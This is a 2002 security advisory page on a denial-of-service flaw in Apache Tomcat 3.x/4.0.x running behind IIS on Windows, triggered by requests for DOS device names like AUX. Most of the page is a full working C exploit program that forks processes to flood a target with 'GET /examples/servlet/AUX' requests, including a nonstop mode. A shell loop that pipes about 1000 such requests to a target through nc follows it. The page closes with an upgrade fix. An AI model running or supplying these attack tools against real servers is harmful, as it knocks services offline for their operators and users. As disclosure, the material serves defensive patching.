|
COMMAND Apache Tomcat Denial of Service SYSTEMS AFFECTED Apache Tomcat 4.0.3 on Windows 2000 Server PROBLEM In advisory of Peter Gründl from KPMG Danemark : By sending a large amount of null characters to the web service it is possible to cause a working thread to hang. The default installation has 75 working threads, which means this malformed request has to be sent to the server 75 times. Update (15 October 2002) ====== Tomcat DoS exploit : /* Windows 2000/NT Apache Tomcat 3.x and 4.0.x DoS * * bug discovered by Olaf Schulz on 11 October 2002 * essentially does a GET /examples/servlet/AUX HTTP/1.0 ...2000 times. * * This is actually somewhat lame. It seemed to be a rather nice DoS * if it actually killed the server after XX GET's, but that isn't the case. * That's why I tossed in the '-x' option to keep hammering the box. When * this program is running, the webserver becomes inaccessible. * Not the coolest thing in the world, but it gave me something to do on a boring * ass monday night. :) -bmbr * * * Compile With: * Linux: gcc -o neuter neuter.c * Solaris: gcc -o neuter neuter.c -lsocket -lnsl * ZZZZZZZZZZZZZZZZZZZ Z:::::::::::::::::Z nnnn nnnnnnnn Z:::::::::::::::::Z ooooooooooo n:::nn::::::::nn Z:::ZZZZZZZ::::::Z oo:::::::::::oo eeeeeeeeeee n::::::::::::::nn ZZZZZ * Z::::::Z o:::::::::::::::o ee:::::::::::eenn:::::::::::::::n 2 Z:::::Z o:::::ooooo:::::o e:::::::::::::::een:::::nnnn:::::n 0 Z:::::Z o::::o o::::o e::::::eeeee::::::en::::n n::::n 0 Z:::::Z o::::o o::::o e:::::e e:::::en::::n n::::n 2 Z:::::Z o::::o o::::o e::::::eeeee::::::en::::n n::::n * Z:::::Z o::::o o::::o e::::::::::::::::e n::::n n::::n Z:::::Z o:::::ooooo:::::o e:::::eeeeeeeeeee n::::n n::::nZZZ:::::Z ZZZZZo:::::::::::::::o e::::::e n::::n n::::nZ::::::ZZZZZZZZ:::Z oo:::::::::::oo e:::::::e nnnnnn nnnnnnZ:::::::::::::::::Z ooooooooooo e:::::::eeeeeeeeee Z:::::::::::::::::Z ee::::::::::::::e ZZZZZZZZZZZZZZZZZZZ ee:::::::::::::e \... www.enZotech.net .../ eeeeeeeeeeeeee (The above is radical ascii art.. Respect it. The below is a lame DoS. ) */ #include <stdio.h> #include <string.h> #include <ctype.h> #include <signal.h> #include <stdlib.h> #include <limits.h> #include <math.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/time.h> #include <netdb.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> void usage(char* argv0); void forkoff(char *ip, int port); int neuter(char *ip, int port); void sigint(); void sighup(); void sigquit(); int main(int argc, char *argv[]) { extern int optopt; extern char *optarg; int errorflag = 0; /* did someone screw up? */ int port = 80; /* default port to use unless -p */ int c; int kill = 0; int killhigh = 2000; /* This is how many GETS to request */ int always = 0; if ((argc < 2) || (argc > 6)) usage(argv[0]); while ((c=getopt(argc, argv, "vxp:")) != EOF) { switch(c) { case 'p': fprintf(stderr, "Using port %s\n", optarg); port = strtol(optarg, NULL, 10); break; case 'x': fprintf(stderr, "Nonstop DoS Attack.. go get a dew..\n"); always = 1; break; case 'v': fprintf(stderr, "Neuter: IIS+Apache Tomcat DoS - [Oct 15, 2002]\n"); fprintf(stderr, "written by: bmbr@enZo\n\n"); exit(0); case ':': fprintf(stderr, "Option -%c requires an operand\n", optopt); errorflag++; break; case '?': fprintf(stderr, "Unrecognized option: -%c\n", optopt); errorflag++; } } if (errorflag) { usage(argv[0]); } /* kill them */ while (kill <= killhigh) { forkoff(argv[argc-1], port); fprintf(stderr, "b00m! "); if (always != 1) kill++; } fprintf(stderr, "\nFinished!\n"); return 0; } /* end main */ void usage(char* argv0) { fprintf(stderr, "\nNeuter: IIS+Apache Tomcat DoS - [Oct 15, 2002]\n"); fprintf(stderr, "Written by: bmbr@enZo\n\n"); fprintf(stderr, "Usage: %s [-p port] IP\n", argv0); fprintf(stderr, "optional: -x (don't stop DoS'ing)\n\n"); exit(1); } void sigint() { signal(SIGINT,sigint); fprintf(stderr, "CHILD: I have received Sigint!\n"); exit(0); } void sigquit() { fprintf(stderr, "CHILD: My parent has killed me!\n"); exit(0); } void sighup() { signal(SIGHUP,sighup); fprintf(stderr, "CHILD: I have received SIGHUP\n"); } void forkoff(char *ip, int port) { int pid; pid = fork(); if (pid < 0) { fprintf(stderr, "Fork Error.\n"); exit(0); } else if (pid > 0) usleep(1000); /* microseconds (millionth of a sec) */ else if (pid == 0) { signal(SIGHUP,sighup); signal(SIGINT,sigint); signal(SIGQUIT,sigquit); alarm(25); neuter(ip, port); alarm(0); exit(0); } } int neuter(char *ip, int port) { int s, r, c; char *string = "GET /examples/servlet/AUX HTTP/1.0\r\n"; char *stringend = "\r\n\r\n"; struct sockaddr_in addr; struct hostent *hp; memset((char *) &addr, '\0', sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr(ip); addr.sin_port= htons(port); if ((hp = gethostbyname(ip)) != NULL) { /* need to check the size of h_length to avoid overflow */ if (hp->h_length > sizeof(addr.sin_addr)) { hp->h_length = sizeof(addr.sin_addr); } memcpy((char *) &addr.sin_addr, hp->h_addr, hp->h_length); } else { if ((addr.sin_addr.s_addr = inet_addr(ip)) < 0) { return(0); } } s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); r = connect(s, (struct sockaddr *) &addr, sizeof(addr)); write(s, string, strlen(string)); write(s, stringend, strlen(stringend)); c = 0; close(s); return 0; } Update (21 October 2002) ====== Olaf Schulz [olaf.schulz@t-systems.com] [http://www.dcert.de] adds : In combination with Microsoft's IIS, Apache Tomcat is vulnerable to a denial-of-service attack. An attacker can crash the tomcat engine with multiple (e.g. 1000) requests that contain DOS device names like AUX, LPT1, CON, PRN. Proof of concept code: When Tomcat is serving servlets and jsp's under /examples/servlet/, use : - - - - --------8<---------------------------- #!/bin/sh for i in 1 2 3 4 5 6 7 8 9 0 ; do for j in 1 2 3 4 5 6 7 8 9 0 ; do for k in 1 2 3 4 5 6 7 8 9 0 ; do echo -e "GET /examples/servlet/AUX HTTP/1.0\n\n"|nc <target_ip> <target-port> 2>1 >/dev/null & done done done - - - - --------8<---------------------------- This attack works on a Microsoft IIS Web Server connecting the Tomcat engine via the ajp1.3 connector. Standalone Tomcat engines (connected via the http interface on port 8080) are not vulnerable. SOLUTION Upgrade to V4.1.3 beta, which is available here : http://jakarta.apache.org/builds/jakarta-tomcat-4.0/release/v4.1.3-beta/